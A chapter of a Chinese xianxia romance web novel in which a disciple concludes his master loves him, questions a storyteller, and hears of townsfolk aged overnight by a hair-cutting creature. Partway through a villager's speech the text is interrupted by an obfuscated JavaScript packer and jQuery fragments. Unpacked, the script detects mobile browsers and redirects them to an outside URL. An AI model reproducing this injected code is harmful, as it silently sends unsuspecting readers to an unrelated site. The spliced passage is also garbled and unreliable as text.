30.正安镇

作品:《一切为了飞升

    沈观复正垂眸饮茶,侧脸在茶楼昏黄的光线下显得格外清隽,窗外暮色初临,将他素银的衣袍晕染成一片柔和的暖。


    察觉到黎上原目光,沈观复抬眼看来,眸中依旧是那片温润的平静,轻笑道:“这说书人倒是讲得不错。”毕竟是满堂喝彩。


    可语气却是轻描淡写,仿佛真的只是个无关紧要的趣闻。恰巧听了,恰巧在此,恰巧觉得尚可。


    可黎上原看见了。


    看见了师尊放下茶杯时,指尖那微不可察的轻颤。


    霎时间,周围所有的喧嚣鼎沸皆远去,只有那只手,在他的视线里清晰得过分。


    雾中的维护、一路的指点、若有若无的纵容、甚至此刻这故作镇定的掩饰……


    黎上原忽然低低笑了一声。


    那笑声很轻,却带着某种豁然开朗的、近乎滚烫的悸动。


    沈观复刚抖开落在他指尖的蚊虫,便听见蠢徒那没头没尾的傻笑,疑惑,侧首:“笑什么?”


    “没什么。”黎上原收回目光,端起自己那杯早已凉透的茶,一饮而尽。冰凉的茶水滑入喉咙,却压不住心头那簇熊熊燃起的火焰。


    他终于明白了!师尊他,分明是喜欢自己啊!!!


    黎上原放下茶杯,指尖因用力而微微泛白。他抬眼,直视沈观复,一字一句,清晰而缓慢,带着一种试探,又更像是某种确认:


    “陈……沈观复,你觉得,那仙君的故事……如何?”


    沈观复眸光微凝,与他对视片刻,他方才神识正神游,是何故事根本未曾细听,只知晓个大概。


    只好弯唇一笑,轻声道:“故事而已,听听罢了,何必当真。”


    可黎上原却从那依旧温润的笑容中读出了无奈的纵容。没有回避,没有否认,甚至没有寻常人听罢这类轶事该有的调侃或惊奇。


    黎上原嘴角抑制不住地上扬。


    果然,师尊他……


    茶楼喧嚷依旧,说书人已换了新折子,讲的似是精怪奇谈。


    黎上原不再追问,只将身子往椅背靠了靠,目光落在楼下熙攘街市,眼角余光却始终锁着身侧那抹素色身影。


    沈观复已重新端起茶盏,长睫低垂,吹了吹浮叶,仪态从容。


    那说书先生直讲到日头西斜,口干舌燥,才在满堂意犹未尽的吁叹中收了醒木,转入后堂。黎上原见沈观复并无立刻离去之意,便也安然坐着。可指尖在桌面轻叩,一下,又一下,心里那团火非但没熄,反烧得更旺了些。


    他得做点什么。


    念头一起,便再压不住。黎上原忽地起身,对沈观复歉然一笑:“陈缈,我去去就回。”


    沈观复:??


    说书先生刚撩开布帘进去,正火急火燎提起桌上茶壶,嘴皮子刚贴住壶口,还未来得及痛饮,帘子复又被人挑开。


    他头也不抬,只当又是哪个听了故事心痒难耐、跑来刨根问底的闲客,正要照例敷衍几句打发,来人却已走到近前。


    “先生今日这折《隐仙缘》,讲得极好。”清朗温厚的嗓音响起。


    说书先生这才抬眼,见是个束着高马尾、身着青衫的高大少年,眉目疏朗,气质沉静,正含笑望着他。他咽了咽干涩的喉咙,正欲照常推说“下回分解”,那少年却已将一个沉甸甸的素色布囊轻轻放在桌上。


    “一点茶水钱,先生润润喉。”黎上原语气温和,态度却不容推拒,“只是在下有一事好奇——先生这故事,是杜撰,还是……有所凭据?”


    说书先生目光落在那鼓囊囊的布囊上,喉结又滚动一下。他走南闯北多年,眼力不差,这分量……他小心解开系绳,往里一瞥,白花花的银锭晃得他眼晕,怕是一年也赚不来这许多。


    他猛地抬头,看向黎上原。


    黎上原依旧笑着,眼神清澈,并无逼迫之意,只静静等着。


    说书先生深吸一口气,将布囊迅速收起,压低了声音:“公子……这故事,小老儿也是听来的。说得含糊,只道是某位大能对弟子日久生情,却因身份悬殊,终是……”他摇摇头,继续道,“小老儿觉着这桥段新奇,便自己添油加醋,编成了段子。真真假假,谁又说得清呢?”


    黎上原眸光微动:“可知是哪位大能?护着又是何人?”


    说书先生苦笑摇头:“那几人语焉不详,小老儿也不敢细听。修士之事,凡人哪敢深究?公子就……当个故事听罢。”


    黎上原凝视他片刻,见他不似作伪,便不再追问,只拱手道:“多谢先生。”


    说书先生忙不迭还礼,待黎上原转身挑帘而出,他这才长长舒了口气,将布囊紧紧捂在怀里,心口犹自怦怦直跳。


    黎上原回到二楼时,沈观复仍坐在原处,桌上却已多了两副碗筷。典朝与褚承不知何时也来了,正一左一右坐下。


    “哟,舍得回来啦?”典朝挑眉,语气里带着惯有的调侃,“我们还当你被哪个仙子勾了魂去。”


    黎上原刚在沈观复身侧落座,甫一听见这话,快速扫一眼沈观复,沉声解释道:“不过是寻个方便,这类玩笑以后不要再开。”


    沈观复侧目看他一眼,未言语,只将一盏新斟的茶推至他面前。


    典朝讶异看他,从前调侃的话他可从不会当真,现下却是在意了?


    褚承轻咳一声,眼神略带警示。典朝当即作无辜状地眨了眨眼。


    四人简单用了些客栈的饭菜。席间,隔壁一桌行商模样的汉子正低声交谈,语速急促,神色间带着惊惶。


    “……可不是邪门?老张好好一个人,前几日夜里不知怎的,早起打水看见盆中自己倒影,吓得话都说不出,眼珠子直瞪,瞧着魂儿都丢了大半!”


    “我听说……是头发被剪了?”


    “嘘——小声点!”另一人急忙制止,警惕地环顾四周,声音压得更低,“我婆娘娘家的表亲就在那街上当更夫,说是夜里听见‘咔嚓咔嚓’的响声,像是剪子声,吓得没敢出去看。第二天,老张就出事了……枕头上落着些碎头发茬子。”


    “这都第几个了?”


    “第七个了……这几月里,咱们正安镇,悄没声儿就遭了七个,均是夜里出的事,早上醒来便苍老了几十岁。就连官府也查不出个头绪。”


    “什么怪病能专挑夜里发作,还专剪人头发?”最先开口的汉子声音发颤,“我看……莫不是妖物作祟!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173136|192838||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “快别说了!若被这东西听见怎么办!”同桌另一人惊恐制止。


    那汉子立马闭了嘴,脸色发白,连连点头。几人匆匆扒完饭,结了账便快步离去,背影透着仓惶。


    典朝听得有趣,用筷子戳了戳碗里的米饭:“剪头发能让人变老?这又是什么邪门玩意儿?”


    褚承眉头微蹙,看向黎上原与沈观复:“几位可曾听闻此类异事?”


    黎上原摇头,目光却望向沈观复。


    沈观复放下竹筷,取帕拭了拭唇角,才缓声道:“古籍杂记中,倒有‘发妖’、‘剃头鬼’一类记载。多以人发为媒介,摄人精气。被剪发之人顶多丢些精气,养上一段时日便可恢复。但令人顷刻间容貌苍老……”他略一沉吟,“要么是邪术极为阴毒,要么,那被剪去的发梢,并非普通头发。”


    “不是头发是什么?”典朝追问。


    “可能是‘魂丝’。”沈观复声音平淡,却让在座几人心中一凛,“凡人魂魄与肉身牵连,发梢乃气血之余,亦与神魂有微弱感应。若光凭剪子就想剪去''魂丝'',寻常妖物恐办不到,唯有剪绺妖符合。”


    黎上原垂眸重复:“剪绺妖?”


    若他没记错的话,这东西需有极大的怨念,且还得在天时地利人和三者皆占的情况下,再通过特定媒介加以辅助,才可形成。


    沈观复尚未答话,一直候在不远处的客栈掌柜却搓着手,赔着笑脸走了过来。


    “几位客官,可是在聊……城里近来那些怪事?”他脸上笑着,眼神却有些闪烁。


    黎上原温声道:“掌柜知道些什么?”


    掌柜左右张望一下,凑近些,压低嗓子:“不瞒几位,这几个月,城里确实不太平。前前后后,已经是第七个了……都是夜里睡得好好的,一觉醒来便行动颤巍蹒跚。一照那镜子,竟都苍老了不下二三十岁!大夫瞧了连连称怪,吓得都快闭店了。而且……”他声音更低了,“每个人枕边,都落着点被剪下来的头发茬子。”


    “官府不管?”褚承问。


    “管,怎么不管?可查来查去,查不出名堂。没外伤,没中毒,屋里也没外人进来的痕迹。最后只能说是得了怪病。”掌柜摇摇头,脸上露出几分后怕,“咱们开客栈的,南来北往消息灵通,听得多些。有老人偷偷说,这是妖物来了……”


    掌柜又急忙补充,“这些也都是传闻,当不得真,当不得真!”


    他顿了顿,看着眼前这几位气度不凡的年轻人,犹豫片刻,还是压低声音道:“几位客官若是要留宿,夜里……若是听见房外有‘咔嚓、咔嚓’像是剪子开合的声音,千万记住——”


    他喉结滚动,一字一顿:“别睁眼,别出声,装睡到底。等那声音没了,天亮了,就没事了。”


    说完,他像是怕惹上什么麻烦,匆匆拱了拱手,转身快步离去。


    典朝嗤笑一声:“装神弄鬼。”


    褚承却神色凝重:“宁可信其有。若真是妖物作乱,寻常人毫无防备,确实危险。”


    黎上原看向沈观复:“陈缈,你以为呢?”


    沈观复指尖轻点桌面,眸光沉静:“是与不是,等入夜便知。”